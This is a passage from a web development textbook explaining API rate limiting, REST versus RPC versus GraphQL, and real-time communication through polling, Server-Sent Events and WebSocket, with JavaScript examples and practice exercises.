  buckets.set(key, b);
  return { allowed, remaining: Math.floor(b.tokens), retryAfter: allowed ? 0 : Math.ceil((1 - b.tokens) / refillPerSec) };
}

function rateLimit(options) {                                   // Express middleware
  return (req, res, next) => {
    const key = req.user?.id ?? req.ip;
    const { allowed, remaining, retryAfter } = takeToken(key, options);
    res.set('X-RateLimit-Limit', String(options.capacity));
    res.set('X-RateLimit-Remaining', String(remaining));
    if (allowed) return next();
    res.set('Retry-After', String(retryAfter));
    res.status(429).type('application/problem+json').json({
      type: 'https://api.example.com/problems/rate-limited', title: 'Too Many Requests',
      status: 429, detail: `Rate limit exceeded. Retry in ${retryAfter} seconds.`,
    });
  };
}

app.use('/api', rateLimit({ capacity: 100, refillPerSec: 100 / 60 })); // ~100 requests per minute
app.post('/login', rateLimit({ capacity: 5, refillPerSec: 5 / 900 }));  // 5 attempts per 15 minutes

Distributed limits. With several API instances behind a load balancer, counters must be shared, typically in Redis using atomic operations (INCR with EXPIRE for fixed windows, or a Lua script for token buckets). Libraries such as express-rate-limit with a Redis store, or limits configured at the API gateway, CDN or reverse proxy (nginx limit_req), avoid reinventing this.

Communicating limits. Clients behave better when they can see their budget:

HTTP/1.1 429 Too Many Requests
Retry-After: 30
X-RateLimit-Limit: 100
X-RateLimit-Remaining: 0
X-RateLimit-Reset: 1791018960

The X-RateLimit-* headers are a widespread convention (GitHub, many others); the IETF is standardising equivalent RateLimit and RateLimit-Policy headers. Retry-After is the standardised, essential one.

Client-side etiquette: exponential backoff with jitter. Clients receiving 429 or 503 should wait (respecting Retry-After) and retry with increasing, randomised delays, so that thousands of clients do not retry in lockstep:

async function fetchWithBackoff(url, options = {}, maxRetries = 5) {
  for (let attempt = 0; ; attempt++) {
    const res = await fetch(url, options);
    if (![429, 502, 503, 504].includes(res.status) || attempt === maxRetries) return res;
    const retryAfter = Number(res.headers.get('Retry-After'));           // seconds, if numeric
    const backoff = Math.min(30_000, 2 ** attempt * 500);                 // 0.5s, 1s, 2s, 4s...
    const delay = retryAfter ? retryAfter * 1000 : Math.random() * backoff; // "full jitter"
    await new Promise((r) => setTimeout(r, delay));
  }
}

Key Takeaways

• Rate limiting rejects excess requests (429); throttling delays them. Both protect availability and fairness.
• Key limits by API key or user, by IP for anonymous traffic, and apply stricter limits to sensitive endpoints such as login.
• Token buckets allow bursts with a steady average; fixed windows are simplest but allow boundary bursts.
• Share counters (Redis) or enforce limits at the gateway when running multiple instances.
• Send Retry-After (and limit headers); clients should back off exponentially with jitter.

Practice

1. (Beginner) Explain why a fixed window of 100 requests per minute can let a client send 200 requests within two seconds.
2. (Intermediate) Replace the in-memory map with Redis and test that two instances of the server share the same limit for a given API key.
3. (Interview) "Design rate limiting for a public API with free and paid tiers and a login endpoint under credential-stuffing attack." Hint: consider different keys (account, IP, API key), different algorithms per endpoint, where to enforce limits, and what to tell clients.

REST vs RPC vs GraphQL

REST-style resources are not the only way to design an API over HTTP. RPC (Remote Procedure Call) styles expose functions, and GraphQL exposes a typed graph that clients query. Each optimises for different needs, and many organisations use more than one.

The same task in three styles: "show order 9817 with its customer's name and item titles".

# REST-style: resources, possibly several round trips
GET /orders/9817            -> { "id": "9817", "customerId": "7", "itemIds": ["42", "43"], ... }
GET /customers/7            -> { "id": "7", "name": "Ada", "email": ..., "address": ... }
GET /products?ids=42,43     -> [ { "id": "42", "title": ..., "description": ..., ... }, ... ]

# RPC (JSON-RPC 2.0): call a named procedure
POST /rpc
{ "jsonrpc": "2.0", "method": "orders.getSummary", "params": { "orderId": "9817" }, "id": 1 }

-> { "jsonrpc": "2.0", "result": { "customerName": "Ada", "items": ["Keyboard", "Mouse"] }, "id": 1 }

# GraphQL: one request, the client chooses exactly the fields it needs
query {
  order(id: "9817") {
    customer { name }
    items { product { title } quantity }
  }
}

{ "data": { "order": { "customer": { "name": "Ada" },
  "items": [ { "product": { "title": "Keyboard" }, "quantity": 2 },
             { "product": { "title": "Mouse" }, "quantity": 1 } ] } } }

The styles at a glance.

	REST-style	RPC (gRPC, JSON-RPC, tRPC)	GraphQL
Model	Resources + uniform HTTP methods	Procedures/functions	Typed graph + query language
Endpoints	Many URIs	One per procedure (or a single endpoint)	Usually one (POST /graphql)
HTTP caching	Excellent (GET + Cache-Control/ETags)	Limited (mostly POST)	Limited (POST; needs persisted queries or client caches)
Over/under-fetching	Common (fixed representations, several requests)	Tailored per procedure	Solved: client selects fields and nested data
Contract	OpenAPI (optional)	Protobuf (gRPC), TypeScript types (tRPC)	Schema (mandatory, introspectable)
Payload	JSON (any media type)	Protobuf binary (gRPC), JSON	JSON
Errors	HTTP status codes	Status codes in the RPC protocol	Usually HTTP 200 with an errors array
Strengths	Simple, cacheable, universal, good for public APIs	Fast, strongly typed, natural for actions and internal services	Flexible client-driven queries, aggregating many back ends, evolving UIs
Weaknesses	Chatty for complex screens; versioning	Tighter coupling; browser support for gRPC needs a proxy (gRPC-Web)	Server complexity, N+1 queries, query cost limits, harder caching and rate limiting

RPC variants.

• gRPC: Protocol Buffers over HTTP/2, code generation for many languages, streaming in both directions; the standard for internal microservice communication.
• JSON-RPC: minimal JSON envelope; used by blockchain nodes and the Language Server Protocol, and by MCP (the Model Context Protocol for AI tools).
• tRPC: TypeScript-only; the client calls server functions with end-to-end type inference and no schema file, for full-stack TypeScript apps in a single repository.

GraphQL considerations. Each field is resolved by a function, so a naive implementation runs one database query per item (the N+1 problem); batching with DataLoader fixes it. Because clients can write arbitrarily deep queries, servers must limit query depth and cost and often accept only pre-registered persisted queries in production.

Choosing.

Situation	Good fit
Public API for many unknown third-party developers	REST-style (+ OpenAPI)
Internal service-to-service calls, low latency, polyglot	gRPC
Full-stack TypeScript app, one team, one repository	tRPC or REST
Many client types (web, iOS, Android) with different data needs over many back-end services	GraphQL (often as a gateway in front of REST/gRPC services)
Mostly static, cache-heavy content	REST-style with HTTP caching and a CDN

Key Takeaways

• REST-style APIs model resources; RPC models procedures; GraphQL models a typed graph queried by the client.
• REST excels at simplicity and HTTP caching; RPC (especially gRPC) at performance and typed internal calls; GraphQL at flexible, client-shaped data fetching.
• GraphQL trades client flexibility for server complexity: N+1 queries, cost limits and harder caching.
• The choice depends on the consumers (public vs internal), team and language setup, and caching needs; combining styles is common.

Practice

1. (Beginner) For the task "get a user's 5 latest posts with comment counts", write the requests in REST-style, JSON-RPC and GraphQL.
2. (Intermediate) Build a tiny GraphQL server (for example with GraphQL Yoga) exposing orders and customer fields, log the database calls for a query listing 10 orders with their customers, then fix the N+1 problem with DataLoader.
3. (Interview) "Your mobile team complains that the order-details screen needs seven REST calls. What options do you have besides switching to GraphQL?" Hint: consider compound documents (?include=), sparse fieldsets, a Backend-for-Frontend endpoint, and HTTP/2 multiplexing.

<a id="105-real-time-communication-and-websocket"></a>

10.5 Real-Time Communication and WebSocket

This subchapter covers how servers push data to browsers as soon as it is available: why plain request-response falls short, polling and long polling, Server-Sent Events, the WebSocket protocol and its browser and Node.js APIs, Socket.IO, scaling real-time systems with rooms and broadcasting, and peer-to-peer communication with WebRTC.

Limits of Request-Response for Real Time

Chat messages, live sports scores, stock tickers, collaborative editors, multiplayer games, delivery tracking and notifications all share one requirement: the server learns something first and must tell the client immediately. HTTP's request-response model (10.1) has the opposite shape: only the client can start an exchange, and each request receives exactly one response.

Think of waiting for an important letter. Request-response is walking to the post office every few minutes to ask "anything for me?". What you want is a mail carrier who rings your bell the moment it arrives.

What request-response gives you            What real-time applications need
--------------------------------            --------------------------------
Client: anything new?   -> Server: no       Server: new message!   -> Client
Client: anything new?   -> Server: no       Server: price changed  -> Client
Client: anything new?   -> Server: yes      Client: typing...      -> Server
   (latency = up to one polling interval;      (latency = network delay only;
    most requests wasted)                       bidirectional, no wasted requests)

The specific problems.

Problem	Explanation
Server cannot initiate	The server has no way to send data unless a request is pending
Latency	New data waits until the next request arrives
Overhead	Each HTTP request carries headers (often hundreds of bytes to kilobytes, including cookies) for a payload that may be a few bytes
Wasted work	Most "anything new?" requests return nothing but still cost server CPU, database queries and battery on mobile devices
Half-duplex flow	A request and its response cannot interleave freely; there is no natural channel for a continuous two-way conversation

The solution space. Over the years, several techniques have been developed, from hacks on top of HTTP to dedicated protocols:

Technique	Direction	Transport	Covered in
Short polling	Client pulls	Repeated HTTP requests	Next topic
Long polling	Server "pushes" (by delaying responses)	Repeated HTTP requests	Next topic
Server-Sent Events	Server to client	One long-lived HTTP response	This subchapter
WebSocket	Bidirectional	Upgraded TCP connection	This subchapter
WebTransport	Bidirectional, multiple streams and datagrams	HTTP/3 (QUIC)	Mentioned with Socket.IO
WebRTC	Peer to peer (browser to browser)	UDP (SRTP, SCTP)	Last topic
Web Push	Server to device, even when the page is closed	Browser vendor push service	Chapter 15 (PWAs)

Key Takeaways

• Request-response cannot let the server initiate communication; data waits for the next client request.
• Repeated requests add latency, header overhead and wasted server work.
• Real-time techniques range from polling hacks to dedicated protocols: SSE (server to client), WebSocket (bidirectional), WebRTC (peer to peer).
• Choosing a technique depends on direction, frequency, latency needs and infrastructure.

Practice

1. (Beginner) List five features of applications you use daily that need real-time updates, and for each say whether data flows server-to-client, client-to-server or both.
2. (Intermediate) Estimate the bandwidth used by 10,000 clients polling every 2 seconds with 800 bytes of request and response headers each, when only one update per minute actually occurs.
3. (Interview) "Why can't a web server simply send an HTTP response to a browser that has not asked for anything?" Hint: think about who opens connections, NAT and firewalls, and how HTTP matches responses to requests.

Polling and Long Polling

Before browsers had dedicated real-time APIs, developers emulated server push with ordinary HTTP requests. These techniques still matter: they work everywhere, through every proxy, and they are the fallback inside libraries like Socket.IO.

Short polling. The client asks at a fixed interval:

// Short polling: ask every 5 seconds
async function poll() {
  try {
    const res = await fetch('/api/notifications?since=' + lastSeenId);
    const items = await res.json();
    if (items.length) { render(items); lastSeenId = items.at(-1).id; }
  } finally {
    setTimeout(poll, 5000);            // schedule the next poll after this one finishes
  }
}
poll();

Client  --GET-->  Server  (no data)     <- wasted
Client  --GET-->  Server  (no data)     <- wasted
Client  --GET-->  Server  (no data)     <- wasted        data arrives here...
Client  --GET-->  Server  (data!)       <- ...but is delivered up to 5 s later

Short polling is simple and stateless, and perfectly fine when updates are infrequent and a few seconds of delay is acceptable (checking whether a report has finished, refreshing a dashboard every minute). It scales poorly for low latency: halving the latency doubles the number of requests.

Long polling. The client sends a request and the server holds it open until there is data (or a timeout expires, typically 20-60 seconds). As soon as the client receives a response, it immediately sends the next request:

Client  --GET /poll-->  Server   (waits...)
                                 (waits...)       new message arrives
Client  <--200 [msg]--  Server   immediately responds
Client  --GET /poll-->  Server   (waits...)       next request sent right away
                                 (30 s, nothing)
Client  <--204--------  Server   timeout: empty response
Client  --GET /poll-->  Server   (waits...)

// Server: hold requests until a message is published (Express-style)
const waiting = new Set();                         // pending response objects

app.get('/poll', (req, res) => {
  const timer = setTimeout(() => { waiting.delete(res); res.sendStatus(204); }, 30_000);
  waiting.add(res);
  req.on('close', () => { clearTimeout(timer); waiting.delete(res); }); // client went away
  res.locals.timer = timer;
});

function publish(message) {                        // called when something happens
  for (const res of waiting) {
    clearTimeout(res.locals.timer);
    res.json([message]);                           // answer every waiting client
  }
  waiting.clear();
}

// Client: loop forever, reconnecting immediately (with a pause after errors)
async function longPoll() {
  while (true) {
    try {
      const res = await fetch('/poll');
      if (res.status === 200) render(await res.json());
    } catch {
      await new Promise((r) => setTimeout(r, 3000)); // network error: back off before retrying
    }
  }
}
longPoll();

A real implementation must also avoid losing messages published between two polls, usually by having the client send the ID of the last message it received (/poll?after=123) and the server keep a short history.

Comparison.

	Short polling	Long polling
Latency	Up to the polling interval	Near-instant
Empty responses	Many	Few (only on timeouts)
Server resources	Short requests, but many	One open connection per waiting client
Message ordering and loss	Simple with since cursors	Needs cursors to avoid gaps between polls
Compatibility	Universal	Universal (but proxies may cut idle connections)
Overhead per message	Full HTTP request + response	Full HTTP request + response

Long polling made the first generation of web chat (Gmail chat, Facebook chat) possible. Its main costs, a complete HTTP request per message and a held connection per client, are what SSE and WebSocket remove.

Key Takeaways

• Short polling repeats requests at fixed intervals: simple but wasteful and laggy.
• Long polling holds each request open until data arrives, then the client immediately reconnects: near-instant but still one HTTP exchange per message.
• Both work through any proxy and remain useful fallbacks.
• Use cursors (since/after IDs) to avoid missing messages between requests.

Practice

1. (Beginner) Implement short polling for a "job status" endpoint that changes from pending to done after 10 seconds, and stop polling once it is done.
2. (Intermediate) Complete the long-polling chat: add a POST /messages endpoint that calls publish, keep the last 100 messages, and make clients pass after so no message is lost when they reconnect.
3. (Interview) "Your long-polling endpoint works locally but clients in production get 504 errors every 60 seconds. What is happening?" Hint: look at idle timeouts in load balancers and reverse proxies compared to your hold time.

Server-Sent Events

Server-Sent Events (SSE) let a server stream a sequence of events to the browser over one ordinary, long-lived HTTP response. It is part of the HTML standard and has a tiny browser API, EventSource, with automatic reconnection built in. If you only need to push data from the server (notifications, live feeds, progress updates, streamed AI responses), SSE is often the simplest solution.

The wire format. The response has the media type text/event-stream and never ends; events are blocks of field: value lines separated by a blank line:

HTTP/1.1 200 OK
Content-Type: text/event-stream
Cache-Control: no-cache
Connection: keep-alive

retry: 5000

data: {"text": "Server is up"}

id: 101
event: price
data: {"symbol": "ACME", "price": 41.27}

id: 102
event: price
data: {"symbol": "ACME", "price": 41.31}

: this is a comment, often sent as a keep-alive heartbeat

data: a message can span
data: several data lines

Field	Meaning
data	Event payload (text); multiple data lines are joined with newlines
event	Event type; defaults to message
id	Event ID; the browser remembers the last one
retry	Reconnection delay in milliseconds
: (comment)	Ignored; useful as a heartbeat to keep proxies from closing idle connections

Server in Node.js.

import { createServer } from 'node:http';

const clients = new Set();
let nextId = 1;
const history = [];                                  // recent events for resuming clients

createServer((req, res) => {
  if (req.url !== '/events') return res.writeHead(404).end();

  res.writeHead(200, {
    'Content-Type': 'text/event-stream',
    'Cache-Control': 'no-cache',
    Connection: 'keep-alive',
  });
  res.write('retry: 5000\n\n');

  // Resume: the browser sends Last-Event-ID automatically after a reconnect
  const lastId = Number(req.headers['last-event-id'] ?? 0);
  for (const evt of history.filter((e) => e.id > lastId)) res.write(evt.text);

  clients.add(res);
  req.on('close', () => clients.delete(res));        // browser closed the tab or navigated away
}).listen(3000);

function broadcast(type, payload) {
  const id = nextId++;
  const text = `id: ${id}\nevent: ${type}\ndata: ${JSON.stringify(payload)}\n\n`;
  history.push({ id, text });
  if (history.length > 100) history.shift();
  for (const res of clients) res.write(text);
}

setInterval(() => broadcast('price', { symbol: 'ACME', price: (40 + Math.random() * 2).toFixed(2) }), 2000);
setInterval(() => { for (const res of clients) res.write(': heartbeat\n\n'); }, 15000);

Client in the browser.

const source = new EventSource('/events');            // add { withCredentials: true } for cross-origin cookies

source.onopen = () => console.log('connected');
source.onmessage = (e) => console.log('message', e.data);              // events without an "event:" field
source.addEventListener('price', (e) => {                               // named events
  const { symbol, price } = JSON.parse(e.data);
  document.querySelector('#price').textContent = `${symbol}: ${price}`;
});
source.onerror = () => console.log('connection lost, browser will retry'); // reconnects automatically

// source.close();                                                      // stop listening permanently

Strengths and limits.

Strengths	Limits
Plain HTTP: works with existing servers, proxies, authentication cookies, HTTP/2	Server to client only (send client messages with normal fetch requests)
Automatic reconnection and resumption via Last-Event-ID	Text only (binary must be base64-encoded)
Simple text format, easy to debug with curl -N	EventSource cannot set custom headers (no Authorization: Bearer); use cookies or a fetch-based SSE client
Multiplexed over one connection with HTTP/2	Over HTTP/1.1, each stream uses one of the ~6 connections per host per browser

The HTTP/1.1 connection limit is the classic SSE gotcha: open the app in seven tabs and the seventh hangs. Serve SSE over HTTP/2 or HTTP/3, where streams share one connection.

SSE without EventSource. Many APIs that stream responses (for example LLM chat completion APIs) use the SSE format over POST requests. Since EventSource only does GET, clients read the stream with fetch:

const res = await fetch('/api/chat', { method: 'POST', body: JSON.stringify({ prompt }),
                                       headers: { 'Content-Type': 'application/json' } });
const reader = res.body.pipeThrough(new TextDecoderStream()).getReader();
let buffer = '';
while (true) {
  const { value, done } = await reader.read();
  if (done) break;
  buffer += value;
  const events = buffer.split('\n\n');               // complete events end with a blank line
  buffer = events.pop();                             // keep the incomplete tail
  for (const evt of events) {
    const data = evt.split('\n').filter((l) => l.startsWith('data: ')).map((l) => l.slice(6)).join('\n');
    if (data) appendToken(JSON.parse(data));
  }
}

Key Takeaways

• SSE streams events from server to client over one long-lived HTTP response with Content-Type: text/event-stream.
• Events use data, event, id and retry fields separated by blank lines; comments act as heartbeats.
• EventSource reconnects automatically and sends Last-Event-ID so the server can resume.
• SSE is one-way and text-only; send client actions with ordinary requests.
• Use HTTP/2 or HTTP/3 to avoid the six-connections-per-host limit; use fetch streaming when you need POST or custom headers.

Practice

1. (Beginner) Run the SSE server and watch the raw stream with curl -N http://localhost:3000/events. Identify each field in the output.
2. (Intermediate) Build a progress bar for a simulated 20-second file conversion: start the job with POST /jobs, then stream progress events (0-100%) via SSE and close the stream with a final done event.
3. (Interview) "When would you choose SSE over WebSocket?" Hint: consider data direction, infrastructure compatibility, automatic reconnection, and how often the client needs to send messages.

WebSocket Protocol and Handshake Upgrade

WebSocket (RFC 6455, 2011) provides a persistent, full-duplex channel between a browser and a server: once established, either side can send messages at any time, with only a few bytes of framing overhead per message. It is the standard choice for chat, multiplayer games, collaborative editing and trading screens, where both sides talk frequently.

To be compatible with existing web infrastructure (ports 80 and 443, proxies, the same server software), a WebSocket connection starts as an HTTP request and then switches protocols on the same TCP connection.

The opening handshake.

GET /chat HTTP/1.1
Host: chat.example.com
Upgrade: websocket                              <- "I want to switch to the WebSocket protocol"
Connection: Upgrade
Sec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==     <- random 16 bytes, base64-encoded
Sec-WebSocket-Version: 13
Sec-WebSocket-Protocol: chat.v2, chat.v1        <- optional subprotocols the client supports
Origin: https://app.example.com                 <- sent by browsers; servers should check it
Cookie: __Host-sid=k3J9aQ...                    <- cookies are sent as for any request

HTTP/1.1 101 Switching Protocols
Upgrade: websocket
Connection: Upgrade
Sec-WebSocket-Accept: s3pPLMBiTxaQ9kYGzzhZRbK+xOo=
Sec-WebSocket-Protocol: chat.v2                 <- the subprotocol the server chose

After the 101 response, the connection no longer speaks HTTP: both sides exchange WebSocket frames until one of them closes it.

Sec-WebSocket-Accept. The server proves it really understands WebSocket (and is not a confused HTTP server or cache replaying an old response) by hashing the client's key with a fixed GUID defined in the RFC:

import { createHash } from 'node:crypto';

const GUID = '258EAFA5-E914-47DA-95CA-C5AB0DC85B11';     // constant from RFC 6455
const accept = (key) => createHash('sha1').update(key + GUID).digest('base64');

console.log(accept('dGhlIHNhbXBsZSBub25jZQ=='));         // s3pPLMBiTxaQ9kYGzzhZRbK+xOo=

This is not a security mechanism; it only guarantees that both ends deliberately agreed to the upgrade.

URLs and security.

ws://chat.example.com/chat     <- unencrypted, port 80 by default (avoid; often broken by proxies)
wss://chat.example.com/chat    <- WebSocket over TLS, port 443 by default (always use this)

Concern	Detail
Same-origin policy does not apply	Any web page can open a WebSocket to any server, and the browser sends that server's cookies. Servers must validate the Origin header during the handshake, otherwise a malicious site can open an authenticated socket on the user's behalf (Cross-Site WebSocket Hijacking).
Authentication	Cookies are sent with the handshake; Authorization headers cannot be set from the browser API. Alternatives: a short-lived ticket in the URL (wss://.../chat?ticket=..., obtained via an authenticated fetch), or an authentication message as the first frame.
Proxies	wss:// passes through most proxies because it looks like normal TLS; plain ws:// may be blocked or mangled.
Load balancers	Must support the Upgrade mechanism and long-lived connections (nginx needs proxy_set_header Upgrade and Connection configuration and longer timeouts).

WebSocket over HTTP/2 and HTTP/3. Since HTTP/2 has no Upgrade mechanism, RFC 8441 (HTTP/2) and RFC 9220 (HTTP/3) define an "extended CONNECT" method to carry WebSocket streams over a shared connection. Browsers use it transparently when the server supports it; the JavaScript API is the same.

Key Takeaways

• WebSocket provides a persistent, full-duplex, low-overhead channel between client and server.
• It starts with an HTTP GET carrying Upgrade: websocket and is accepted with 101 Switching Protocols.
• Sec-WebSocket-Accept = base64(SHA-1(key + fixed GUID)) proves the server understood the handshake; it is not security.
• Always use wss://, validate Origin on the server, and plan how to authenticate the handshake.
• Proxies and load balancers must be configured for upgrades and long-lived connections.

Practice

1. (Beginner) Open the DevTools Network panel, filter by "WS", and connect to a public WebSocket echo service. Inspect the handshake request and response headers.
2. (Intermediate) Use Node's http server 'upgrade' event to accept a WebSocket handshake by hand: compute Sec-WebSocket-Accept and write the 101 response to the socket. (Decoding frames comes in the next topic.)
3. (Interview) "Why does the server need to check the Origin header on WebSocket handshakes when CORS protects normal fetch requests?" Hint: CORS restricts reading responses, and WebSocket connections are not subject to it at all.

Frames, Messages and Subprotocols

After the handshake, data travels in frames: small binary headers followed by payload. Applications usually work with messages, which consist of one or more frames. Understanding frames explains WebSocket's low overhead, how connections are kept alive and closed, and why subprotocols are needed.

Frame layout.

  0                   1                   2                   3
  0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
 +-+-+-+-+-------+-+-------------+-------------------------------+
 |F|R|R|R| opcode|M| Payload len |    Extended payload length    |
 |I|S|S|S|  (4)  |A|     (7)     |          (16 or 64 bits)      |
 |N|V|V|V|       |S|             |  (if payload len == 126/127)  |
 | |1|2|3|       |K|             |                               |
 +-+-+-+-+-------+-+-------------+ - - - - - - - - - - - - - - - +
 |   Masking key (32 bits, only if MASK = 1, i.e. client->server) |
 +---------------------------------------------------------------+
 |                         Payload data                          |
 +---------------------------------------------------------------+

 FIN      1 = final frame of a message
 opcode   what the frame contains (see table)
 MASK     1 if the payload is masked (mandatory for client-to-server frames)
 length   0-125 directly; 126 = next 2 bytes hold the length; 127 = next 8 bytes

A short server-to-client text message costs only 2 bytes of framing, compared with hundreds of bytes of headers for an HTTP request.

Opcode	Frame type	Purpose
0x0	Continuation	Subsequent fragment of a fragmented message
0x1	Text	UTF-8 text (first or only frame of a message)
0x2	Binary	Arbitrary bytes
0x8	Close	Start or confirm the closing handshake (with code and reason)
0x9	Ping	Liveness check; the receiver must answer with a Pong
0xA	Pong	Answer to a Ping (or an unsolicited heartbeat)

Masking. Every client-to-server frame is XORed with a random 4-byte key. This is not encryption (the key is in the frame); it prevents attackers from crafting byte sequences that confused intermediary caches might interpret as HTTP requests (a cache-poisoning attack discovered while the protocol was designed).

// Decoding a small, unfragmented, masked client frame (payload < 126 bytes)
function decodeFrame(buf) {
  const fin = (buf[0] & 0x80) !== 0;
  const opcode = buf[0] & 0x0f;
  const masked = (buf[1] & 0x80) !== 0;
  const length = buf[1] & 0x7f;                       // assumes length < 126 for this sketch
  const mask = buf.subarray(2, 6);
  const payload = buf.subarray(6, 6 + length).map((byte, i) => byte ^ mask[i % 4]); // unmask
  return { fin, opcode, masked, text: opcode === 0x1 ? Buffer.from(payload).toString('utf8') : null };
}

In practice you never write this yourself; libraries handle fragmentation, large lengths, masking, UTF-8 validation and compression.

Control frames: ping/pong and close.

• Ping/Pong detect dead connections. A TCP connection can silently die (a phone loses signal, a NAT forgets the mapping), and neither side notices until it tries to send. Servers typically ping every 20-30 seconds and terminate clients that do not answer.
• Close starts a closing handshake: one side sends a Close frame with a status code, the other replies with a Close frame, then the TCP connection is closed.

Close code	Meaning
1000	Normal closure
1001	Going away (server shutdown, page navigation)
1006	Abnormal closure: connection dropped without a Close frame (never sent on the wire, only reported locally)
1008	Policy violation (e.g. authentication failed)
1009	Message too big
1011	Internal server error
4000-4999	Reserved for application-defined codes

Extensions. Negotiated in the handshake via Sec-WebSocket-Extensions. The common one is permessage-deflate, which compresses messages. It saves bandwidth for verbose JSON but costs CPU and memory per connection, so many servers enable it only for large messages or disable it.

Subprotocols: giving messages meaning. WebSocket only delivers messages; it says nothing about what they mean. Applications define their own message format, and the client and server can agree on one with Sec-WebSocket-Protocol. Some subprotocols are registered standards (STOMP, MQTT over WebSocket, WAMP, graphql-transport-ws for GraphQL subscriptions); many applications define a simple JSON envelope:

{ "type": "chat.message", "id": "c1f2", "room": "general", "payload": { "text": "Hello!" } }
{ "type": "chat.typing", "room": "general", "payload": { "user": "ada" } }
{ "type": "ack", "id": "c1f2" }
{ "type": "error", "id": "c1f2", "payload": { "code": "ROOM_FULL", "message": "Room is full" } }

A type field for routing, an id for correlating acknowledgements and errors, and a version (via subprotocol name or a field) make the protocol evolvable.

Key Takeaways

• WebSocket messages are made of frames with a 2-14 byte header; the opcode identifies text, binary, continuation, close, ping and pong frames.
• Client-to-server frames are masked to protect intermediaries, not to encrypt.
• Ping/pong frames detect dead connections; close frames carry a status code (1000 normal, 1006 abnormal).
• permessage-deflate compresses messages at a CPU and memory cost.
• WebSocket carries opaque messages: define or choose a subprotocol (often a JSON envelope with type and id).

Practice

1. (Beginner) Decode by hand the server frame bytes 81 05 48 65 6c 6c 6f: what are FIN, the opcode, the length and the text?
2. (Intermediate) Design a JSON message protocol for a multiplayer tic-tac-toe game: list the message types for joining, moving, game over and errors, including how a client learns that its move was accepted.
3. (Interview) "Your WebSocket server has 50,000 'connected' clients, but you suspect many are dead. How do you find out and clean up?" Hint: TCP alone may not notice for a long time; think about application-level or protocol-level heartbeats and timeouts.

The Browser WebSocket API

Browsers expose WebSocket through a small event-based API: create a WebSocket object, listen for open, message, error and close, and call send() and close(). Its simplicity is deceptive: robust applications must add reconnection, heartbeats, message queuing and backpressure awareness themselves.

Basic usage.

const ws = new WebSocket('wss://chat.example.com/ws', ['chat.v2']); // optional subprotocol list

ws.addEventListener('open', () => {
  console.log('connected, protocol =', ws.protocol);               // the subprotocol chosen by the server
  ws.send(JSON.stringify({ type: 'join', room: 'general' }));
});

ws.addEventListener('message', (event) => {
  const msg = JSON.parse(event.data);                               // text frames arrive as strings
  if (msg.type === 'chat.message') showMessage(msg.payload);
});

ws.addEventListener('error', () => console.warn('WebSocket error')); // details are hidden for security

ws.addEventListener('close', (event) => {
  console.log(`closed: code=${event.code} reason=${event.reason} clean=${event.wasClean}`);
});

// Later
ws.close(1000, 'User left the chat');                                // normal closure

Ready states.

readyState	Constant	Meaning
0	WebSocket.CONNECTING	Handshake in progress; send() throws
1	WebSocket.OPEN	Ready to send and receive
2	WebSocket.CLOSING	Closing handshake in progress
3	WebSocket.CLOSED	Closed or failed to open; cannot be reopened (create a new object)

Binary data. send() accepts strings, ArrayBuffer, typed arrays and Blobs. Incoming binary frames are delivered as Blob by default; set binaryType to receive ArrayBuffers, which are easier to process:

ws.binaryType = 'arraybuffer';
ws.addEventListener('message', ({ data }) => {
  if (typeof data === 'string') return handleText(data);
  const view = new DataView(data);                                  // e.g. a compact game-state update
  const playerId = view.getUint16(0), x = view.getFloat32(2), y = view.getFloat32(6);
  movePlayer(playerId, x, y);
});

const update = new DataView(new ArrayBuffer(10));
update.setUint16(0, 7); update.setFloat32(2, 12.5); update.setFloat32(6, -3.25);
ws.send(update.buffer);                                             // 10 bytes instead of ~40 bytes of JSON

Backpressure: bufferedAmount. send() never blocks; data is queued in the browser. If you send faster than the network can carry, memory grows. bufferedAmount reports how many bytes are still queued:

function sendIfNotCongested(data) {
  if (ws.bufferedAmount > 1_000_000) return false;  // more than 1 MB queued: skip (e.g. drop a stale position update)
  ws.send(data);
  return true;
}

The newer WebSocketStream API (available in Chromium-based browsers) exposes messages as streams with built-in backpressure, but the classic WebSocket remains the portable choice.

Reconnection with exponential backoff. The browser does not reconnect automatically (unlike EventSource). A small wrapper handles it:

function connect(url, { onMessage, maxDelay = 30_000 } = {}) {
  let ws, attempt = 0, closedByUser = false;
  const queue = [];                                    // messages sent while disconnected

  function open() {
    ws = new WebSocket(url);
    ws.onopen = () => {
      attempt = 0;
      while (queue.length) ws.send(queue.shift());     // flush messages queued while offline
    };
    ws.onmessage = (e) => onMessage(JSON.parse(e.data));
    ws.onclose = (e) => {
      if (closedByUser || e.code === 1008) return;     // don't retry after logout or auth failure
      const delay = Math.min(maxDelay, 1000 * 2 ** attempt++) * (0.5 + Math.random() / 2); // jitter
      setTimeout(open, delay);
    };
  }
  open();

  return {
    send(msg) {
      const data = JSON.stringify(msg);
      ws.readyState === WebSocket.OPEN ? ws.send(data) : queue.push(data);
    },
    close() { closedByUser = true; ws.close(1000); },
  };
}

const chat = connect('wss://chat.example.com/ws', { onMessage: (m) => console.log(m) });
chat.send({ type: 'join', room: 'general' });

After reconnecting, the client usually needs to resynchronise: rejoin rooms and fetch messages missed while offline (send the last received message ID, as with SSE).

Key Takeaways

• new WebSocket(url, protocols) opens a connection; handle open, message, error and close events.
• send() accepts text and binary data; set binaryType = 'arraybuffer' for easier binary processing.
• readyState must be OPEN before sending; a closed WebSocket cannot be reused.
• Watch bufferedAmount to avoid unbounded buffering when sending fast.
• Implement reconnection with exponential backoff and jitter, queue outgoing messages, and resynchronise state after reconnecting.

Practice

1. (Beginner) Write a page with a text input and a log that connects to a WebSocket echo server, sends each typed line and shows the echoed messages along with the connection state.
2. (Intermediate) Use the connect wrapper with a local server, stop and restart the server, and verify that messages typed while it was down are delivered after reconnection. Add a visible "reconnecting..." indicator.
3. (Interview) "A WebSocket-based dashboard works for hours, then users see stale data with no error. What could be going wrong on the client?" Hint: a half-open connection never fires close; consider heartbeats and timeouts on the client side as well.

WebSocket Servers in Node.js

Node.js has a built-in WebSocket client (the global WebSocket, stable since Node.js 22) but no built-in WebSocket server. The de facto standard library is ws: small, fast, spec-compliant, and the foundation of many higher-level frameworks. Node's event-driven, non-blocking model (Chapter 11) suits WebSocket servers well, because tens of thousands of mostly idle connections cost little CPU.

A minimal chat server.

// npm install ws
import { WebSocketServer, WebSocket } from 'ws';

const wss = new WebSocketServer({ port: 8080 });

wss.on('connection', (ws, req) => {
  console.log('client connected from', req.socket.remoteAddress);

  ws.on('message', (data, isBinary) => {
